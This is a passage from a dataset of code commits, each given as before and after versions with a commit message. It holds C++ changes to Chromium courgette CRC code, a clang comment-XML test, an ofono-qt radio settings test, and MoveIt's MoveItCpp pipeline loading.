}\n };\n\n \/\/! handlers for all registered file descriptors, we have to keep them\n \/\/! address local.\n std::deque<Watch> watch_;\n\n \/\/! Default exception handler\n static bool ExceptionCallback(Socket& s)\n {\n \/\/ exception on listen socket ?\n throw NetException(\"SelectDispatcher() exception on socket fd \"\n + std::to_string(s.GetFileDescriptor()) + \"!\",\n errno);\n }\n};\n\n\/\/! \\}\n} \/\/ namespace c7a\n\n#endif \/\/ !C7A_NET_SELECT_DISPATCHER_HEADER\n\n\/******************************************************************************\/\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"courgette\/crc.h\"\n\n#ifdef OS_CHROMEOS\n# include \"zlib.h\"\n#else\nextern \"C\" {\n# include \"third_party\/lzma_sdk\/7zCrc.h\"\n}\n#endif\n\n#include \"base\/basictypes.h\"\n\nnamespace courgette {\n\nuint32 CalculateCrc(const uint8* buffer, size_t size) {\n uint32 crc;\n\n#ifdef OS_CHROMEOS\n \/\/ Calculate Crc by calling CRC method in zlib\n crc = crc32(0, buffer, size);\n#else\n \/\/ Calculate Crc by calling CRC method in LZMA SDK\n CrcGenerateTable();\n crc = CrcCalc(buffer, size);\n#endif\n\n return ~crc;\n}\n\n} \/\/ namespace\n<commit_msg>Revert 112083 - Try a different library for Crc32.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Calculate Crc by calling CRC method in LZMA SDK\n\n#include \"courgette\/crc.h\"\n\nextern \"C\" {\n#include \"third_party\/lzma_sdk\/7zCrc.h\"\n}\n\nnamespace courgette {\n\nuint32 CalculateCrc(const uint8* buffer, size_t size) {\n CrcGenerateTable();\n uint32 crc = 0xffffffffL;\n crc = ~CrcCalc(buffer, size);\n return crc;\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/\/ RUN: rm -rf %t\n\/\/ RUN: mkdir %t\n\/\/ RUN: c-index-test -test-load-source all -comments-xml-schema=%S\/..\/..\/bindings\/xml\/comment-xml-schema.rng -target x86_64-apple-darwin10 std=c++11 %s > %t\/out\n\/\/ RUN: FileCheck %s < %t\/out\n\n\/\/ Ensure that XML we generate is not invalid.\n\/\/ RUN: FileCheck %s -check-prefix=WRONG < %t\/out\n\/\/ WRONG-NOT: CommentXMLInvalid\n\/\/ rdar:\/\/12378714\n\n\/**\n * \\brief Aaa\n*\/\ntemplate<typename T> struct A {\n\/**\n * \\brief Bbb\n*\/\n A();\n\/**\n * \\brief Ccc\n*\/\n ~A();\n\/**\n * \\brief Ddd\n*\/\n void f() { }\n};\n\/\/ CHECK: <Declaration>template <typename T> struct A {\\n}<\/Declaration>\n\/\/ CHECL: <Declaration>A<T>()<\/Declaration>\n\/\/ CHECK: <Declaration>void ~A<T>()<\/Declaration>\n\n\/**\n * \\Brief Eee\n*\/\ntemplate <typename T> struct D : A<T> {\n\/**\n * \\brief\n*\/\n using A<T>::f;\n \n void f();\n};\n\/\/ CHECK: <Declaration>template <typename T> struct D : A<T> {\\n}<\/Declaration>\n\/\/ CHECK: <Declaration>using A<T>::f<\/Declaration>\n\nstruct Base {\n int foo;\n};\n\/**\n * \\brief\n*\/\ntemplate<typename T> struct E : Base {\n\/**\n * \\brief\n*\/\n using Base::foo;\n};\n\/\/ CHECK: <Declaration>template <typename T> struct E : Base {\\n}<\/Declaration>\n\/\/ CHECK: <Declaration>using Base::foo<\/Declaration>\n\n\/\/\/ \\tparam\n\/\/\/ \\param AAA Blah blah\ntemplate<typename T>\nvoid func_template_1(T AAA);\n\/\/ CHECK: <Declaration>template <typename T> void func_template_1(T AAA)<\/Declaration>\n\ntemplate<template<template<typename CCC> class DDD, class BBB> class AAA>\nvoid func_template_2();\n<Declaration>template <template <template <typename CCC> class DDD, class BBB> class AAA> void func_template_2()<\/Declaration>\n<commit_msg>Fixes a typo in this test.<commit_after>\/\/ RUN: rm -rf %t\n\/\/ RUN: mkdir %t\n\/\/ RUN: c-index-test -test-load-source all -comments-xml-schema=%S\/..\/..\/bindings\/xml\/comment-xml-schema.rng -target x86_64-apple-darwin10 std=c++11 %s > %t\/out\n\/\/ RUN: FileCheck %s < %t\/out\n\n\/\/ Ensure that XML we generate is not invalid.\n\/\/ RUN: FileCheck %s -check-prefix=WRONG < %t\/out\n\/\/ WRONG-NOT: CommentXMLInvalid\n\/\/ rdar:\/\/12378714\n\n\/**\n * \\brief Aaa\n*\/\ntemplate<typename T> struct A {\n\/**\n * \\brief Bbb\n*\/\n A();\n\/**\n * \\brief Ccc\n*\/\n ~A();\n\/**\n * \\brief Ddd\n*\/\n void f() { }\n};\n\/\/ CHECK: <Declaration>template <typename T> struct A {\\n}<\/Declaration>\n\/\/ CHECK: <Declaration>A<T>()<\/Declaration>\n\/\/ CHECK: <Declaration>void ~A<T>()<\/Declaration>\n\n\/**\n * \\Brief Eee\n*\/\ntemplate <typename T> struct D : A<T> {\n\/**\n * \\brief\n*\/\n using A<T>::f;\n \n void f();\n};\n\/\/ CHECK: <Declaration>template <typename T> struct D : A<T> {\\n}<\/Declaration>\n\/\/ CHECK: <Declaration>using A<T>::f<\/Declaration>\n\nstruct Base {\n int foo;\n};\n\/**\n * \\brief\n*\/\ntemplate<typename T> struct E : Base {\n\/**\n * \\brief\n*\/\n using Base::foo;\n};\n\/\/ CHECK: <Declaration>template <typename T> struct E : Base {\\n}<\/Declaration>\n\/\/ CHECK: <Declaration>using Base::foo<\/Declaration>\n\n\/\/\/ \\tparam\n\/\/\/ \\param AAA Blah blah\ntemplate<typename T>\nvoid func_template_1(T AAA);\n\/\/ CHECK: <Declaration>template <typename T> void func_template_1(T AAA)<\/Declaration>\n\ntemplate<template<template<typename CCC> class DDD, class BBB> class AAA>\nvoid func_template_2();\n<Declaration>template <template <template <typename CCC> class DDD, class BBB> class AAA> void func_template_2()<\/Declaration>\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is part of ofono-qt\n *\n * Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n *\n * Contact: Alexander Kanavin <alex.kanavin@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * version 2.1 as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\n *\/\n\n#include <QtTest\/QtTest>\n\n#include \"qofonoradiosettings.h\"\n\n#include <QtDebug>\n\nclass TestQOfonoRadioSettings : public QObject\n{\n Q_OBJECT\n\nprivate slots:\n void initTestCase()\n {\n m = new QOfonoRadioSettings(this);\n m->setModemPath(\"\/phonesim\");\n\n QEXPECT_FAIL(\"\", \"FIXME: radio settings interface is not supported by AT modems, \"\n \"and consequently, phonesim\", Abort);\n QTRY_VERIFY(m->isValid());\n }\n\n void testQOfonoRadioSettings()\n {\n QSignalSpy preference(m, SIGNAL(technologyPreferenceChanged(QString)));\n\n qDebug() << \"technologyPreference():\" << m->technologyPreference();\n }\n\n void cleanupTestCase()\n {\n\n }\n\nprivate:\n QOfonoRadioSettings *m;\n};\n\nQTEST_MAIN(TestQOfonoRadioSettings)\n#include \"tst_qofonoradiosettings.moc\"\n<commit_msg>[tests] Fixed tst_qofonoradiosettings<commit_after>\/*\n * This file is part of ofono-qt\n *\n * Copyright (C) 2014-2015 Jolla Ltd.\n * Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n *\n * Contact: Alexander Kanavin <alex.kanavin@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * version 2.1 as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\n *\/\n\n#include <QtTest\/QtTest>\n\n#include \"qofonoradiosettings.h\"\n\nclass TestQOfonoRadioSettings : public QObject\n{\n Q_OBJECT\n\nprivate slots:\n void initTestCase()\n {\n m = new QOfonoRadioSettings(this);\n m->setModemPath(\"\/phonesim\");\n QTRY_VERIFY(m->isValid());\n }\n\n void testQOfonoRadioSettings()\n {\n QCOMPARE(m->technologyPreference(), QString(\"any\"));\n }\n\n void cleanupTestCase()\n {\n\n }\n\nprivate:\n QOfonoRadioSettings *m;\n};\n\nQTEST_MAIN(TestQOfonoRadioSettings)\n#include \"tst_qofonoradiosettings.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************\n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2019, PickNik LLC\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of PickNik LLC nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *********************************************************************\/\n\n\/* Author: Henning Kayser *\/\n\n#include <stdexcept>\n#include <moveit\/moveit_cpp\/moveit_cpp.h>\n\nnamespace moveit_cpp\n{\nconstexpr char LOGNAME[] = \"moveit_cpp\";\nconstexpr char PLANNING_PLUGIN_PARAM[] = \"planning_plugin\";\n\nMoveItCpp::MoveItCpp(const ros::NodeHandle& nh, const std::shared_ptr<tf2_ros::Buffer>& tf_buffer)\n : MoveItCpp(Options(nh), nh, tf_buffer)\n{\n}\n\nMoveItCpp::MoveItCpp(const Options& options, const ros::NodeHandle& nh,\n const std::shared_ptr<tf2_ros::Buffer>& tf_buffer)\n : tf_buffer_(tf_buffer), node_handle_(nh)\n{\n if (!tf_buffer_)\n tf_buffer_ = std::make_shared<tf2_ros::Buffer>();\n tf_listener_ = std::make_shared<tf2_ros::TransformListener>(*tf_buffer_);\n\n \/\/ Configure planning scene monitor\n if (!loadPlanningSceneMonitor(options.planning_scene_monitor_options))\n {\n const std::string error = \"Unable to configure planning scene monitor\";\n ROS_FATAL_STREAM_NAMED(LOGNAME, error);\n throw std::runtime_error(error);\n }\n\n robot_model_ = planning_scene_monitor_->getRobotModel();\n if (!robot_model_)\n {\n const std::string error = \"Unable to construct robot model. Please make sure all needed information is on the \"\n \"parameter server.\";\n ROS_FATAL_STREAM_NAMED(LOGNAME, error);\n throw std::runtime_error(error);\n }\n\n bool load_planning_pipelines = true;\n if (load_planning_pipelines && !loadPlanningPipelines(options.planning_pipeline_options))\n {\n const std::string error = \"Failed to load planning pipelines from parameter server\";\n ROS_FATAL_STREAM_NAMED(LOGNAME, error);\n throw std::runtime_error(error);\n }\n\n \/\/ TODO(henningkayser): configure trajectory execution manager\n trajectory_execution_manager_ = std::make_shared<trajectory_execution_manager::TrajectoryExecutionManager>(\n robot_model_, planning_scene_monitor_->getStateMonitor());\n\n ROS_DEBUG_NAMED(LOGNAME, \"MoveItCpp running\");\n}\n\nMoveItCpp::~MoveItCpp()\n{\n ROS_INFO_NAMED(LOGNAME, \"Deleting MoveItCpp\");\n clearContents();\n}\n\nbool MoveItCpp::loadPlanningSceneMonitor(const PlanningSceneMonitorOptions& options)\n{\n planning_scene_monitor_ = std::make_shared<planning_scene_monitor::PlanningSceneMonitor>(options.robot_description,\n tf_buffer_, options.name);\n \/\/ Allows us to sycronize to Rviz and also publish collision objects to ourselves\n ROS_DEBUG_STREAM_NAMED(LOGNAME, \"Configuring Planning Scene Monitor\");\n if (planning_scene_monitor_->getPlanningScene())\n {\n \/\/ Start state and scene monitors\n ROS_INFO_NAMED(LOGNAME, \"Listening to '%s' for joint states\", options.joint_state_topic.c_str());\n \/\/ Subscribe to JointState sensor messages\n planning_scene_monitor_->startStateMonitor(options.joint_state_topic, options.attached_collision_object_topic);\n \/\/ Publish planning scene updates to remote monitors like RViz\n planning_scene_monitor_->startPublishingPlanningScene(planning_scene_monitor::PlanningSceneMonitor::UPDATE_SCENE,\n options.monitored_planning_scene_topic);\n \/\/ Monitor and apply planning scene updates from remote publishers like the PlanningSceneInterface\n planning_scene_monitor_->startSceneMonitor(options.publish_planning_scene_topic);\n \/\/ Monitor requests for changes in the collision environment\n planning_scene_monitor_->startWorldGeometryMonitor();\n }\n else\n {\n ROS_ERROR_STREAM_NAMED(LOGNAME, \"Planning scene not configured\");\n return false;\n }\n\n \/\/ Wait for complete state to be recieved\n if (options.wait_for_initial_state_timeout > 0.0)\n {\n return planning_scene_monitor_->getStateMonitor()->waitForCurrentState(ros::Time::now(),\n options.wait_for_initial_state_timeout);\n }\n\n return true;\n}\n\nbool MoveItCpp::loadPlanningPipelines(const PlanningPipelineOptions& options)\n{\n ros::NodeHandle node_handle(options.parent_namespace.empty() ? \"~\" : options.parent_namespace);\n for (const auto& planning_pipeline_name : options.pipeline_names)\n {\n if (planning_pipelines_.count(planning_pipeline_name) > 0)\n {\n ROS_WARN_NAMED(LOGNAME, \"Skipping duplicate entry for planning pipeline '%s'.\", planning_pipeline_name.c_str());\n continue;\n }\n ROS_INFO_NAMED(LOGNAME, \"Loading planning pipeline '%s'\", planning_pipeline_name.c_str());\n ros::NodeHandle child_nh(node_handle, planning_pipeline_name);\n planning_pipeline::PlanningPipelinePtr pipeline;\n pipeline = std::make_shared<planning_pipeline::PlanningPipeline>(robot_model_, child_nh, PLANNING_PLUGIN_PARAM);\n\n if (!pipeline->getPlannerManager())\n {\n ROS_ERROR_NAMED(LOGNAME, \"Failed to initialize planning pipeline '%s'.\", planning_pipeline_name.c_str());\n continue;\n }\n\n planning_pipelines_[planning_pipeline_name] = pipeline;\n }\n\n if (planning_pipelines_.empty())\n {\n ROS_ERROR_NAMED(LOGNAME, \"Failed to load any planning pipelines.\");\n return false;\n }\n\n \/\/ Retrieve group\/pipeline mapping for faster lookup\n std::vector<std::string> group_names = robot_model_->getJointModelGroupNames();\n for (const auto& pipeline_entry : planning_pipelines_)\n {\n for (const auto& group_name : group_names)\n {\n groups_pipelines_map_[group_name] = {};\n const auto& pipeline = pipeline_entry.second;\n for (const auto& planner_configuration : pipeline->getPlannerManager()->getPlannerConfigurations())\n {\n if (planner_configuration.second.group == group_name)\n {\n groups_pipelines_map_[group_name].insert(pipeline_entry.first);\n }\n }\n }\n }\n\n return true;\n}\n\nmoveit::core::RobotModelConstPtr MoveItCpp::getRobotModel() const\n{\n return robot_model_;\n}\n\nconst ros::NodeHandle& MoveItCpp::getNodeHandle() const\n{\n return node_handle_;\n}\n\nbool MoveItCpp::getCurrentState(moveit::core::RobotStatePtr& current_state, double wait_seconds)\n{\n if (wait_seconds > 0.0 &&\n !planning_scene_monitor_->getStateMonitor()->waitForCurrentState(ros::Time::now(), wait_seconds))\n {\n ROS_ERROR_NAMED(LOGNAME, \"Did not receive robot state\");\n return false;\n }\n { \/\/ Lock planning scene\n planning_scene_monitor::LockedPlanningSceneRO scene(planning_scene_monitor_);\n current_state = std::make_shared<moveit::core::RobotState>(scene->getCurrentState());\n } \/\/ Unlock planning scene\n return true;\n}\n\nmoveit::core::RobotStatePtr MoveItCpp::getCurrentState(double wait)\n{\n moveit::core::RobotStatePtr current_state;\n getCurrentState(current_state, wait);\n return current_state;\n}\n\nconst std::map<std::string, planning_pipeline::PlanningPipelinePtr>& MoveItCpp::getPlanningPipelines() const\n{\n return planning_pipelines_;\n}\n\nstd::set<std::string> MoveItCpp::getPlanningPipelineNames(const std::string& group_name) const\n{\n std::set<std::string> result_names;\n if (!group_name.empty() && groups_pipelines_map_.count(group_name) == 0)\n {\n ROS_ERROR_NAMED(LOGNAME,\n \"No planning pipelines loaded for group '%s'. Check planning pipeline and controller setup.\",\n group_name.c_str());\n return result_names; \/\/ empty\n }\n for (const auto& pipeline_entry : planning_pipelines_)\n {\n const std::string& pipeline_name = pipeline_entry.first;\n \/\/ If group_name is defined and valid, skip pipelines that don't belong to the planning group\n if (!group_name.empty())\n {\n const auto& group_pipelines = groups_pipelines_map_.at(group_name);\n if (group_pipelines.find(pipeline_name) == group_pipelines.end())\n continue;\n }\n result_names.insert(pipeline_name);\n }\n \/\/ No valid planning pipelines\n if (result_names.empty())\n ROS_ERROR_NAMED(LOGNAME,\n \"No planning pipelines loaded for group '%s'. Check planning pipeline and controller setup.\",\n group_name.c_str());\n return result_names;\n}\n\nconst planning_scene_monitor::PlanningSceneMonitorPtr& MoveItCpp::getPlanningSceneMonitor() const\n{\n return planning_scene_monitor_;\n}\n\nplanning_scene_monitor::PlanningSceneMonitorPtr MoveItCpp::getPlanningSceneMonitorNonConst()\n{\n return planning_scene_monitor_;\n}\n\nconst trajectory_execution_manager::TrajectoryExecutionManagerPtr& MoveItCpp::getTrajectoryExecutionManager() const\n{\n return trajectory_execution_manager_;\n}\n\ntrajectory_execution_manager::TrajectoryExecutionManagerPtr MoveItCpp::getTrajectoryExecutionManagerNonConst()\n{\n return trajectory_execution_manager_;\n}\n\nbool MoveItCpp::execute(const std::string& group_name, const robot_trajectory::RobotTrajectoryPtr& robot_trajectory,\n bool blocking)\n{\n if (!robot_trajectory)\n {\n ROS_ERROR_NAMED(LOGNAME, \"Robot trajectory is undefined\");\n return false;\n }\n\n \/\/ Check if there are controllers that can handle the execution\n if (!trajectory_execution_manager_->ensureActiveControllersForGroup(group_name))\n {\n ROS_ERROR_NAMED(LOGNAME, \"Execution failed! No active controllers configured for group '%s'\", group_name.c_str());\n return false;\n }\n\n \/\/ Execute trajectory\n moveit_msgs::RobotTrajectory robot_trajectory_msg;\n robot_trajectory->getRobotTrajectoryMsg(robot_trajectory_msg);\n if (blocking)\n {\n trajectory_execution_manager_->push(robot_trajectory_msg);\n trajectory_execution_manager_->execute();\n return trajectory_execution_manager_->waitForExecution();\n }\n trajectory_execution_manager_->pushAndExecute(robot_trajectory_msg);\n return true;\n}\n\nconst std::shared_ptr<tf2_ros::Buffer>& MoveItCpp::getTFBuffer() const\n{\n return tf_buffer_;\n}\n\nvoid MoveItCpp::clearContents()\n{\n tf_listener_.reset();\n tf_buffer_.reset();\n planning_scene_monitor_.reset();\n robot_model_.reset();\n planning_pipelines_.clear();\n}\n} \/\/ namespace moveit_cpp\n<commit_msg>MoveItCpp: Allow multiple pipelines (#3131)<commit_after>\/*********************************************************************\n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2019, PickNik LLC\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of PickNik LLC nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *********************************************************************\/\n\n\/* Author: Henning Kayser *\/\n\n#include <stdexcept>\n#include <moveit\/moveit_cpp\/moveit_cpp.h>\n\nnamespace moveit_cpp\n{\nconstexpr char LOGNAME[] = \"moveit_cpp\";\nconstexpr char PLANNING_PLUGIN_PARAM[] = \"planning_plugin\";\n\nMoveItCpp::MoveItCpp(const ros::NodeHandle& nh, const std::shared_ptr<tf2_ros::Buffer>& tf_buffer)\n : MoveItCpp(Options(nh), nh, tf_buffer)\n{\n}\n\nMoveItCpp::MoveItCpp(const Options& options, const ros::NodeHandle& nh,\n const std::shared_ptr<tf2_ros::Buffer>& tf_buffer)\n : tf_buffer_(tf_buffer), node_handle_(nh)\n{\n if (!tf_buffer_)\n tf_buffer_ = std::make_shared<tf2_ros::Buffer>();\n tf_listener_ = std::make_shared<tf2_ros::TransformListener>(*tf_buffer_);\n\n \/\/ Configure planning scene monitor\n if (!loadPlanningSceneMonitor(options.planning_scene_monitor_options))\n {\n const std::string error = \"Unable to configure planning scene monitor\";\n ROS_FATAL_STREAM_NAMED(LOGNAME, error);\n throw std::runtime_error(error);\n }\n\n robot_model_ = planning_scene_monitor_->getRobotModel();\n if (!robot_model_)\n {\n const std::string error = \"Unable to construct robot model. Please make sure all needed information is on the \"\n \"parameter server.\";\n ROS_FATAL_STREAM_NAMED(LOGNAME, error);\n throw std::runtime_error(error);\n }\n\n bool load_planning_pipelines = true;\n if (load_planning_pipelines && !loadPlanningPipelines(options.planning_pipeline_options))\n {\n const std::string error = \"Failed to load planning pipelines from parameter server\";\n ROS_FATAL_STREAM_NAMED(LOGNAME, error);\n throw std::runtime_error(error);\n }\n\n \/\/ TODO(henningkayser): configure trajectory execution manager\n trajectory_execution_manager_ = std::make_shared<trajectory_execution_manager::TrajectoryExecutionManager>(\n robot_model_, planning_scene_monitor_->getStateMonitor());\n\n ROS_DEBUG_NAMED(LOGNAME, \"MoveItCpp running\");\n}\n\nMoveItCpp::~MoveItCpp()\n{\n ROS_INFO_NAMED(LOGNAME, \"Deleting MoveItCpp\");\n clearContents();\n}\n\nbool MoveItCpp::loadPlanningSceneMonitor(const PlanningSceneMonitorOptions& options)\n{\n planning_scene_monitor_ = std::make_shared<planning_scene_monitor::PlanningSceneMonitor>(options.robot_description,\n tf_buffer_, options.name);\n \/\/ Allows us to sycronize to Rviz and also publish collision objects to ourselves\n ROS_DEBUG_STREAM_NAMED(LOGNAME, \"Configuring Planning Scene Monitor\");\n if (planning_scene_monitor_->getPlanningScene())\n {\n \/\/ Start state and scene monitors\n ROS_INFO_NAMED(LOGNAME, \"Listening to '%s' for joint states\", options.joint_state_topic.c_str());\n \/\/ Subscribe to JointState sensor messages\n planning_scene_monitor_->startStateMonitor(options.joint_state_topic, options.attached_collision_object_topic);\n \/\/ Publish planning scene updates to remote monitors like RViz\n planning_scene_monitor_->startPublishingPlanningScene(planning_scene_monitor::PlanningSceneMonitor::UPDATE_SCENE,\n options.monitored_planning_scene_topic);\n \/\/ Monitor and apply planning scene updates from remote publishers like the PlanningSceneInterface\n planning_scene_monitor_->startSceneMonitor(options.publish_planning_scene_topic);\n \/\/ Monitor requests for changes in the collision environment\n planning_scene_monitor_->startWorldGeometryMonitor();\n }\n else\n {\n ROS_ERROR_STREAM_NAMED(LOGNAME, \"Planning scene not configured\");\n return false;\n }\n\n \/\/ Wait for complete state to be recieved\n if (options.wait_for_initial_state_timeout > 0.0)\n {\n return planning_scene_monitor_->getStateMonitor()->waitForCurrentState(ros::Time::now(),\n options.wait_for_initial_state_timeout);\n }\n\n return true;\n}\n\nbool MoveItCpp::loadPlanningPipelines(const PlanningPipelineOptions& options)\n{\n ros::NodeHandle node_handle(options.parent_namespace.empty() ? \"~\" : options.parent_namespace);\n for (const auto& planning_pipeline_name : options.pipeline_names)\n {\n if (planning_pipelines_.count(planning_pipeline_name) > 0)\n {\n ROS_WARN_NAMED(LOGNAME, \"Skipping duplicate entry for planning pipeline '%s'.\", planning_pipeline_name.c_str());\n continue;\n }\n ROS_INFO_NAMED(LOGNAME, \"Loading planning pipeline '%s'\", planning_pipeline_name.c_str());\n ros::NodeHandle child_nh(node_handle, planning_pipeline_name);\n planning_pipeline::PlanningPipelinePtr pipeline;\n pipeline = std::make_shared<planning_pipeline::PlanningPipeline>(robot_model_, child_nh, PLANNING_PLUGIN_PARAM);\n\n if (!pipeline->getPlannerManager())\n {\n ROS_ERROR_NAMED(LOGNAME, \"Failed to initialize planning pipeline '%s'.\", planning_pipeline_name.c_str());\n continue;\n }\n\n planning_pipelines_[planning_pipeline_name] = pipeline;\n }\n\n if (planning_pipelines_.empty())\n {\n ROS_ERROR_NAMED(LOGNAME, \"Failed to load any planning pipelines.\");\n return false;\n }\n\n \/\/ Retrieve group\/pipeline mapping for faster lookup\n std::vector<std::string> group_names = robot_model_->getJointModelGroupNames();\n for (const auto& pipeline_entry : planning_pipelines_)\n {\n for (const auto& group_name : group_names)\n {\n const auto& pipeline = pipeline_entry.second;\n for (const auto& planner_configuration : pipeline->getPlannerManager()->getPlannerConfigurations())\n {\n if (planner_configuration.second.group == group_name)\n {\n groups_pipelines_map_[group_name].insert(pipeline_entry.first);\n }\n }\n }\n }\n\n return true;\n}\n\nmoveit::core::RobotModelConstPtr MoveItCpp::getRobotModel() const\n{\n return robot_model_;\n}\n\nconst ros::NodeHandle& MoveItCpp::getNodeHandle() const\n{\n return node_handle_;\n}\n\nbool MoveItCpp::getCurrentState(moveit::core::RobotStatePtr& current_state, double wait_seconds)\n{\n if (wait_seconds > 0.0 &&\n !planning_scene_monitor_->getStateMonitor()->waitForCurrentState(ros::Time::now(), wait_seconds))\n {\n ROS_ERROR_NAMED(LOGNAME, \"Did not receive robot state\");\n return false;\n }\n { \/\/ Lock planning scene\n planning_scene_monitor::LockedPlanningSceneRO scene(planning_scene_monitor_);\n current_state = std::make_shared<moveit::core::RobotState>(scene->getCurrentState());\n } \/\/ Unlock planning scene\n return true;\n}\n\nmoveit::core::RobotStatePtr MoveItCpp::getCurrentState(double wait)\n{\n moveit::core::RobotStatePtr current_state;\n getCurrentState(current_state, wait);\n return current_state;\n}\n\nconst std::map<std::string, planning_pipeline::PlanningPipelinePtr>& MoveItCpp::getPlanningPipelines() const\n{\n return planning_pipelines_;\n}\n\nstd::set<std::string> MoveItCpp::getPlanningPipelineNames(const std::string& group_name) const\n{\n if (group_name.empty() || groups_pipelines_map_.count(group_name) == 0)\n {\n ROS_ERROR_NAMED(LOGNAME,\n \"No planning pipelines loaded for group '%s'. Check planning pipeline and controller setup.\",\n group_name.c_str());\n return {}; \/\/ empty\n }\n\n return groups_pipelines_map_.at(group_name);\n}\n\nconst planning_scene_monitor::PlanningSceneMonitorPtr& MoveItCpp::getPlanningSceneMonitor() const\n{\n return planning_scene_monitor_;\n}\n\nplanning_scene_monitor::PlanningSceneMonitorPtr MoveItCpp::getPlanningSceneMonitorNonConst()\n{\n return planning_scene_monitor_;\n}\n\nconst trajectory_execution_manager::TrajectoryExecutionManagerPtr& MoveItCpp::getTrajectoryExecutionManager() const\n{\n return trajectory_execution_manager_;\n}\n\ntrajectory_execution_manager::TrajectoryExecutionManagerPtr MoveItCpp::getTrajectoryExecutionManagerNonConst()\n{\n return trajectory_execution_manager_;\n}\n\nbool MoveItCpp::execute(const std::string& group_name, const robot_trajectory::RobotTrajectoryPtr& robot_trajectory,\n bool blocking)\n{\n if (!robot_trajectory)\n {\n ROS_ERROR_NAMED(LOGNAME, \"Robot trajectory is undefined\");\n return false;\n }\n\n \/\/ Check if there are controllers that can handle the execution\n if (!trajectory_execution_manager_->ensureActiveControllersForGroup(group_name))\n {\n ROS_ERROR_NAMED(LOGNAME, \"Execution failed! No active controllers configured for group '%s'\", group_name.c_str());\n return false;\n }\n\n \/\/ Execute trajectory\n moveit_msgs::RobotTrajectory robot_trajectory_msg;\n robot_trajectory->getRobotTrajectoryMsg(robot_trajectory_msg);\n if (blocking)\n {\n trajectory_execution_manager_->push(robot_trajectory_msg);\n trajectory_execution_manager_->execute();\n return 